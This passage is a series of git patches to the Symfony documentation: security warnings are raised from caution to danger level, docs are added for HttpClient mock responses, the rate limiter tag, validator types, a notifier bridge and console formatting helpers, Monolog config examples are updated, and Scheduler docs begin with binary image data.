     parsers will likely not recognize the ``php/object`` tag and non-PHP
diff --git a/configuration.rst b/configuration.rst
index ba35e868df1..7c6090b0987 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -737,7 +737,7 @@ To do so, define a parameter with the same name as the env var using this syntax
     always exists, because its value will be ``null`` when the related env var
     is not defined.
 
-.. caution::
+.. danger::
 
     Beware that dumping the contents of the ``$_SERVER`` and ``$_ENV`` variables
     or outputting the ``phpinfo()`` contents will display the values of the
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 56270b75ca5..3927fa6161f 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -50,7 +50,7 @@ running:
 This will generate ``config/secrets/prod/prod.encrypt.public.php`` and
 ``config/secrets/prod/prod.decrypt.private.php``.
 
-.. caution::
+.. danger::
 
     The ``prod.decrypt.private.php`` file is highly sensitive. Your team of developers
     and even Continuous Integration services don't need that key. If the
diff --git a/controller.rst b/controller.rst
index c3a11e99a6a..7866a97818b 100644
--- a/controller.rst
+++ b/controller.rst
@@ -146,7 +146,7 @@ and ``redirect()`` methods::
         return $this->redirect('http://symfony.com/doc');
     }
 
-.. caution::
+.. danger::
 
     The ``redirect()`` method does not check its destination in any way. If you
     redirect to a URL provided by end-users, your application may be open
diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 416039ee040..38141df17da 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -104,7 +104,7 @@ and what headers your reverse proxy uses to send information:
             # ...
             trusted_proxies: '%env(TRUSTED_PROXIES)%'
 
-.. caution::
+.. danger::
 
     Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the
     application to `HTTP Host header attacks`_. Make sure the proxy really
diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index 76c13ab975b..8e0b022a5a1 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -136,7 +136,7 @@ Then, register the class as a service that :doc:`decorates </service_container/s
             ;
         };
 
-.. caution::
+.. danger::
 
     You must protect the ``PURGE`` HTTP method somehow to avoid random people
     purging your cached data.
diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst
index 3db2a986326..34faeefd0c5 100644
--- a/http_cache/ssi.rst
+++ b/http_cache/ssi.rst
@@ -27,7 +27,7 @@ The SSI instructions are done via HTML comments:
 There are some other `available directives`_ but
 Symfony manages only the ``#include virtual`` one.
 
-.. caution::
+.. danger::
 
     Be careful with SSI, your website may fall victim to injections.
     Please read this `OWASP article`_ first!
diff --git a/profiler.rst b/profiler.rst
index bc564efcbba..3da11a5bab6 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -4,7 +4,7 @@ Profiler
 The profiler is a powerful **development tool** that gives detailed information
 about the execution of any request.
 
-.. caution::
+.. danger::
 
     **Never** enable the profiler in production environments
     as it will lead to major security vulnerabilities in your project.
diff --git a/rate_limiter.rst b/rate_limiter.rst
index 3cc7e28ea23..0d349e2f132 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -15,7 +15,7 @@ Symfony uses these rate limiters in built-in features like :ref:`login throttlin
 which limits how many failed login attempts a user can make in a given period of
 time, but you can use them for your own features too.
 
-.. caution::
+.. danger::
 
     By definition, the Symfony rate limiters require Symfony to be booted
     in a PHP process. This makes them not useful to protect against `DoS attacks`_.
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 1153846f35d..75a3b7ddf42 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -41,7 +41,7 @@ autoescape
 If set to ``false``, automatic escaping is disabled (you can still escape each content
 individually in the templates).
 
-.. caution::
+.. danger::
 
     Setting this option to ``false`` is dangerous and it will make your
     application vulnerable to `XSS attacks`_ because most third-party bundles
diff --git a/security.rst b/security.rst
index 105c7d37561..426555070fa 100644
--- a/security.rst
+++ b/security.rst
@@ -827,7 +827,7 @@ The form can look like anything, but it usually follows some conventions:
     Actually, all of this can be configured under the ``form_login`` key. See
     :ref:`reference-security-firewall-form-login` for more details.
 
-.. caution::
+.. danger::
 
     This login form is currently not protected against CSRF attacks. Read
     :ref:`form_login-csrf` on how to protect your login form.
diff --git a/serializer.rst b/serializer.rst
index 32140aa1e6d..54a7e28b4cd 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -90,7 +90,7 @@ custom normalizers and/or encoders can also be loaded by tagging them as
 :ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`. It's also
 possible to set the priority of the tag in order to decide the matching order.
 
-.. caution::
+.. danger::
 
     Always make sure to load the ``DateTimeNormalizer`` when serializing the
     ``DateTime`` or ``DateTimeImmutable`` classes to avoid excessive memory
diff --git a/session.rst b/session.rst
index 6d685244a75..d112e9acfb4 100644
--- a/session.rst
+++ b/session.rst
@@ -1573,7 +1573,7 @@ Then, register the ``SodiumMarshaller`` service using this key:
                 ]);
         };
 
-.. caution::
+.. danger::
 
     This will encrypt the values of the cache items, but not the cache keys. Be
     careful not to leak sensitive data in the keys.

From 6bd49488eebe6195e7df021b9057988c539b49cb Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 17 Dec 2023 20:29:35 +0100
Subject: [PATCH 5541/7107] [HttpClient] Add `JsonMockResponse::fromFile()` and
 `MockResponse::fromFile()` shortcuts

---
 http_client.rst | 27 +++++++++++++++++++++++++++
 1 file changed, 27 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 2ca591a5098..6d45fc6d6d7 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1905,6 +1905,20 @@ in order when requests are made::
     $response1 = $client->request('...'); // returns $responses[0]
     $response2 = $client->request('...'); // returns $responses[1]
 
+It is also possible to create a
+:class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` directly
+from a file, which is particularly useful when storing your responses
+snapshots in files::
+
+    use Symfony\Component\HttpClient\Response\MockResponse;
+
+    $response = MockResponse::fromFile('tests/fixtures/response.xml');
+
+.. versionadded:: 7.1
+
+    The :method:`Symfony\\Component\\HttpClient\\Response\\MockResponse::fromFile`
+    method was introduced in Symfony 7.1.
+
 Another way of using :class:`Symfony\\Component\\HttpClient\\MockHttpClient` is to
 pass a callback that generates the responses dynamically when it's called::
 
@@ -2079,6 +2093,19 @@ You can use :class:`Symfony\\Component\\HttpClient\\Response\\JsonMockResponse`
         'foo' => 'bar',
     ]);
 
+Just like :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse`, you can
+also create a :class:`Symfony\\Component\\HttpClient\\Response\\JsonMockResponse`
+directly from a file::
+
+    use Symfony\Component\HttpClient\Response\JsonMockResponse;
+
+    $response = JsonMockResponse::fromFile('tests/fixtures/response.json');
+
+.. versionadded:: 7.1
+
+    The :method:`Symfony\\Component\\HttpClient\\Response\\JsonMockResponse::fromFile`
+    method was introduced in Symfony 7.1.
+
 Testing Request Data
 ~~~~~~~~~~~~~~~~~~~~
 

From ebca2e951f725e7547d22016f97d91b54f4bf97a Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Tue, 19 Dec 2023 03:23:24 +0100
Subject: [PATCH 5542/7107] Update asset_mapper.rst

Fix #19311
---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 42179fae32d..4fa670cb6f2 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1042,7 +1042,7 @@ both ``app`` and ``checkout``:
     {% block importmap %}
         {# do NOT call parent() #}
 
-        {{ importmap('app', 'checkout') }}
+        {{ importmap(['app', 'checkout']) }}
     {% endblock %}
 
 By passing both ``app`` and ``checkout``, the ``importmap()`` function will

From 66b166258d125834071166ec5de51b47ce9a9b73 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 19 Dec 2023 11:36:01 +0100
Subject: [PATCH 5543/7107] [Constraints] Update `callback` argument type

---
 reference/constraints/Choice.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 8e3b11a01ce..70e5814470f 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -262,7 +262,7 @@ Available Options
 ``callback``
 ~~~~~~~~~~~~
 
-**type**: ``string|array|Closure``
+**type**: ``callable|string|null`` **default**: ``null``
 
 This is a callback method that can be used instead of the `choices`_ option
 to return the choices array. See

From 8af822aac89757f2d5db272a70765479e62fd032 Mon Sep 17 00:00:00 2001
From: Yohann Tilotti <contact@yneet.com>
Date: Tue, 19 Dec 2023 18:49:38 +0100
Subject: [PATCH 5544/7107] Fix comma fopen http_client

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 614f9279f35..90718e9e45b 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -619,7 +619,7 @@ A generator or any ``Traversable`` can also be used instead of a closure.
 
 To submit a form with file uploads, pass the file handle to the ``body`` option::
 
-    $fileHandle = fopen('/path/to/the/file' 'r');
+    $fileHandle = fopen('/path/to/the/file', 'r');
     $client->request('POST', 'https://...', ['body' => ['the_file' => $fileHandle]]);
 
 By default, this code will populate the filename and content-type with the data

From cd92145100986e2dca28008691150948ff4f2c2e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 19 Dec 2023 20:24:42 +0100
Subject: [PATCH 5545/7107] -

---
 components/lock.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 37267a4cbb7..8664f572c64 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -518,8 +518,8 @@ MongoDB Connection String:
 PdoStore
 ~~~~~~~~
 
-The PdoStore saves locks in an SQL database. It requires a `PDO`_ connection or a `Data Source Name (DSN)`_. This store does not
-support blocking, and expects a TTL to avoid stalled locks::
+The PdoStore saves locks in an SQL database. It requires a `PDO`_ connection or a `Data Source Name (DSN)`_.
+This store does not support blocking, and expects a TTL to avoid stalled locks::
 
     use Symfony\Component\Lock\Store\PdoStore;
 

From b89fb23bdd9ed4b8607d69d287cd6136f9d0fbcc Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 19 Dec 2023 20:51:02 +0100
Subject: [PATCH 5546/7107] [FrameworkBundle][RateLimiter] Add `rate_limiter`
 tag to rate limiter services

---
 rate_limiter.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 7453e1e70bc..8c667dd3f59 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -215,6 +215,16 @@ at a rate of another 500 requests every 15 minutes. If you don't make that
 number of requests, the unused ones don't accumulate (the ``limit`` option
 prevents that number from being higher than 5,000).
 
+.. tip::
+
+    All rate-limiters are tagged with the ``rate_limiter`` tag, so you can
+    easily find them with a tagged iterator or locator.
+
+    .. versionadded:: 7.1
+
+        The automatic addition of the ``rate_limiter`` tag was introduced
+        in Symfony 7.1.
+
 Rate Limiting in Action
 -----------------------
 

From e12c974d310d690472d9b67d062fa316dc2b5983 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 20 Dec 2023 08:49:58 +0100
Subject: [PATCH 5547/7107] [Validator] Add `list` and `associative_array`
 types to Type constraint

---
 reference/constraints/Type.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 1bb4035c7fd..b8f41fbd524 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -190,6 +190,11 @@ PHP class/interface or a valid PHP datatype (checked by PHP's ``is_()`` function
 * :phpfunction:`resource <is_resource>`
 * :phpfunction:`null <is_null>`
 
+If you're dealing with arrays, you can use the following types in the constraint:
+
+* ``list`` which uses :phpfunction:`array_is_list <array_is_list>` internally
+* ``associative_array`` which is true for any **non-empty** array that is not a list
+
 Also, you can use ``ctype_*()`` functions from corresponding
 `built-in PHP extension`_. Consider `a list of ctype functions`_:
 
@@ -208,6 +213,11 @@ Also, you can use ``ctype_*()`` functions from corresponding
 Make sure that the proper :phpfunction:`locale <setlocale>` is set before
 using one of these.
 
+.. versionadded:: 7.1
+
+    The ``list`` and ``associative_array`` types were introduced in Symfony
+    7.1.
+
 Finally, you can use aggregated functions:
 
 * ``number``: ``is_int || is_float && !is_nan``

From c7ac483dd76079af66756a35eb27ab401b72abd6 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 20 Dec 2023 09:14:11 +0100
Subject: [PATCH 5548/7107] fix typo

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 81e3b3068c9..530b2aeaf8f 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1907,7 +1907,7 @@ in order when requests are made::
 
 It is also possible to create a
 :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` directly
-from a file, which is particularly useful when storing your responses
+from a file, which is particularly useful when storing your response
 snapshots in files::
 
     use Symfony\Component\HttpClient\Response\MockResponse;

From 62aeccb52ec4ef5b6ea39aa0632c5c480ffda10d Mon Sep 17 00:00:00 2001
From: Alan ZARLI <azarli@milnr3.com>
Date: Mon, 18 Dec 2023 16:36:01 +0100
Subject: [PATCH 5549/7107] [Notifier] Add Smsbox notifier bridge

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index b57f501687d..a8f658cbe62 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -92,6 +92,7 @@ Service             Package                                DSN
 `Sinch`_            ``symfony/sinch-notifier``             ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
 `Smsapi`_           ``symfony/smsapi-notifier``            ``smsapi://TOKEN@default?from=FROM``
 `SmsBiuras`_        ``symfony/sms-biuras-notifier``        ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
+`Smsbox`_           ``symfony/smsbox-notifier``            ``smsbox://APIKEY@default?mode=MODE&strategy=STRATEGY&sender=SENDER``
 `Smsc`_             ``symfony/smsc-notifier``              ``smsc://LOGIN:PASSWORD@default?from=FROM``
 `SMSFactor`_        ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
 `SpotHit`_          ``symfony/spot-hit-notifier``          ``spothit://TOKEN@default?from=FROM``
@@ -245,7 +246,7 @@ Service                                  Package                               D
 
 .. versionadded:: 7.1
 
-    The ``Bluesky`` and ``Unifonic`` integrations were introduced in Symfony 7.1.
+    The ``Bluesky``, ``Unifonic`` and ``Smsbox`` integrations were introduced in Symfony 7.1.
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From 6eaf0d28c4a51d322a1f4dac9945cecf1c262d39 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 Dec 2023 15:44:04 +0100
Subject: [PATCH 5550/7107] Minor tweak

---
 rate_limiter.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 8c667dd3f59..818660498a8 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -218,7 +218,8 @@ prevents that number from being higher than 5,000).
 .. tip::
 
     All rate-limiters are tagged with the ``rate_limiter`` tag, so you can
-    easily find them with a tagged iterator or locator.
+    find them with a :doc:`tagged iterator </service_container/tags>` or
+    :doc:`locator </service_container/service_subscribers_locators>`.
 
     .. versionadded:: 7.1
 

From b3ca593c46f690baa1a6ca04145c75c03f1093fa Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 18 Dec 2023 11:30:09 +0100
Subject: [PATCH 5551/7107] [Logger] Switching to more modern config format

---
 logging/channels_handlers.rst | 71 +++++++++++++++++++----------------
 1 file changed, 38 insertions(+), 33 deletions(-)

diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index b53c136b5bc..16bdbc5bfe1 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -23,27 +23,27 @@ Switching a Channel to a different Handler
 Now, suppose you want to log the ``security`` channel to a different file.
 To do this, create a new handler and configure it to log only messages
 from the ``security`` channel. The following example does that only in the
-``prod`` :ref:`configuration environment <configuration-environments>` but you
-can do it in any (or all) environments:
+``prod`` :ref:`configuration environment <configuration-environments>`:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/packages/prod/monolog.yaml
-        monolog:
-            handlers:
-                security:
-                    # log all messages (since debug is the lowest level)
-                    level:    debug
-                    type:     stream
-                    path:     '%kernel.logs_dir%/security.log'
-                    channels: [security]
-
-                # an example of *not* logging security channel messages for this handler
-                main:
-                    # ...
-                    # channels: ['!security']
+        # config/packages/monolog.yaml
+        when@prod:
+            monolog:
+                handlers:
+                    security:
+                        # log all messages (since debug is the lowest level)
+                        level:    debug
+                        type:     stream
+                        path:     '%kernel.logs_dir%/security.log'
+                        channels: [security]
+
+                    # an example of *not* logging security channel messages for this handler
+                    main:
+                        # ...
+                        # channels: ['!security']
 
     .. code-block:: xml
 
@@ -56,12 +56,14 @@ can do it in any (or all) environments:
                 http://symfony.com/schema/dic/monolog
                 https://symfony.com/schema/dic/monolog/monolog-1.0.xsd">
 
-            <monolog:config>
-                <monolog:handler name="security" type="stream" path="%kernel.logs_dir%/security.log">
-                    <monolog:channels>
-                        <monolog:channel>security</monolog:channel>
-                    </monolog:channels>
-                </monolog:handler>
+            <when env="prod">
+                <monolog:config>
+                    <monolog:handler name="security" type="stream" path="%kernel.logs_dir%/security.log">
+                        <monolog:channels>
+                            <monolog:channel>security</monolog:channel>
+                        </monolog:channels>
+                    </monolog:handler>
+            </when>
 
                 <monolog:handler name="main" type="stream" path="%kernel.logs_dir%/main.log">
                     <!-- ... -->
@@ -75,18 +77,21 @@ can do it in any (or all) environments:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
-            $monolog->handler('security')
-                ->type('stream')
-                ->path('%kernel.logs_dir%/security.log')
-                ->channels()->elements(['security']);
+        return static function (MonologConfig $monolog, ContainerConfigurator $container) {
+            if ('prod' === $container->env()) {
+                $monolog->handler('security')
+                    ->type('stream')
+                    ->path(param('kernel.logs_dir') . \DIRECTORY_SEPARATOR . 'security.log')
+                    ->channels()->elements(['security']);
 
-            $monolog->handler('main')
-                 // ...
+                $monolog->handler('main')
+                     // ...
 
-                ->channels()->elements(['!security']);
+                    ->channels()->elements(['!security']);
+            }
         };
 
 .. caution::
@@ -131,13 +136,13 @@ You can also configure additional channels without the need to tag your services
 
     .. code-block:: yaml
 
-        # config/packages/prod/monolog.yaml
+        # config/packages/monolog.yaml
         monolog:
             channels: ['foo', 'bar', 'foo_bar']
 
     .. code-block:: xml
 
-        <!-- config/packages/prod/monolog.xml -->
+        <!-- config/packages/monolog.xml -->
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:monolog="http://symfony.com/schema/dic/monolog"
@@ -155,7 +160,7 @@ You can also configure additional channels without the need to tag your services
 
     .. code-block:: php
 
-        // config/packages/prod/monolog.php
+        // config/packages/monolog.php
         use Symfony\Config\MonologConfig;
 
         return static function (MonologConfig $monolog) {

From cbd8a8e1d28f6234f71222c876cbfb53bbf5906b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 Dec 2023 16:08:35 +0100
Subject: [PATCH 5552/7107] Fix a code example

---
 logging/channels_handlers.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index 16bdbc5bfe1..b2d4f31ad77 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -63,6 +63,7 @@ from the ``security`` channel. The following example does that only in the
                             <monolog:channel>security</monolog:channel>
                         </monolog:channels>
                     </monolog:handler>
+                </monolog:config>
             </when>
 
                 <monolog:handler name="main" type="stream" path="%kernel.logs_dir%/main.log">

From 66128f3dc36703f38f23762d1299de264960eb5f Mon Sep 17 00:00:00 2001
From: Louis-Arnaud <lacpandore@users.noreply.github.com>
Date: Tue, 12 Dec 2023 18:50:09 +0100
Subject: [PATCH 5553/7107] Update formatterhelper.rst

---
 .../console/helpers/formatterhelper.rst       | 25 +++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 135a5898778..5e4ae0d91fb 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -119,3 +119,28 @@ If you don't want to use suffix at all, pass an empty string::
     $truncatedMessage = $formatter->truncate('test', 10);
     // result: test
     // because length of the "test..." string is shorter than 10
+
+Formatting Time
+---------------
+
+Sometimes you want to format seconds to time. This is possible with the
+:method:`Symfony\\Component\\Console\\Helper\\Helper::formatTime` method.
+The first argument is the seconds to format and the second argument is the
+precision (default ``1``) of the result::
+
+    Helper::formatTime(42);        // 42 secs
+    Helper::formatTime(125);       // 2 mins
+    Helper::formatTime(125, 2);    // 2 mins, 5 secs
+    Helper::formatTime(172799, 4); // 1 day, 23 hrs, 59 mins, 59 secs
+
+Formatting Memory
+-----------------
+
+Sometimes you want to format memory to GiB, MiB, KiB and B. This is possible with the
+:method:`Symfony\\Component\\Console\\Helper\\Helper::formatMemory` method.
+The only argument is the memory size to format::
+
+    Helper::formatMemory(512);                // 512 B
+    Helper::formatMemory(1024);               // 1 KiB
+    Helper::formatMemory(1024 * 1024);        // 1.0 MiB
+    Helper::formatMemory(1024 * 1024 * 1024); // 1 GiB

From b50df97ee21fb6123363deedd5019f88bc846ee1 Mon Sep 17 00:00:00 2001
From: Allison Guilhem <allison.guilhem@gmail.com>
Date: Sat, 9 Dec 2023 14:03:08 +0100
Subject: [PATCH 5554/7107] [Scheduler] Proposal - initial structure for
 Symfony Scheduler documentation

---
 _images/components/messenger/basic_cycle.png  | Bin 0 -> 91397 bytes
 .../components/scheduler/generate_consume.png | Bin 0 -> 103817 bytes
 .../components/scheduler/scheduler_cycle.png  | Bin 0 -> 159704 bytes
 scheduler.rst                                 | 378 ++++++++++++++++++
 4 files changed, 378 insertions(+)
 create mode 100644 _images/components/messenger/basic_cycle.png
 create mode 100644 _images/components/scheduler/generate_consume.png
 create mode 100644 _images/components/scheduler/scheduler_cycle.png
 create mode 100644 scheduler.rst

diff --git a/_images/components/messenger/basic_cycle.png b/_images/components/messenger/basic_cycle.png
new file mode 100644
index 0000000000000000000000000000000000000000..a0558968cbb477225c96d77a5093f63cb118521a
GIT binary patch
literal 91397
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
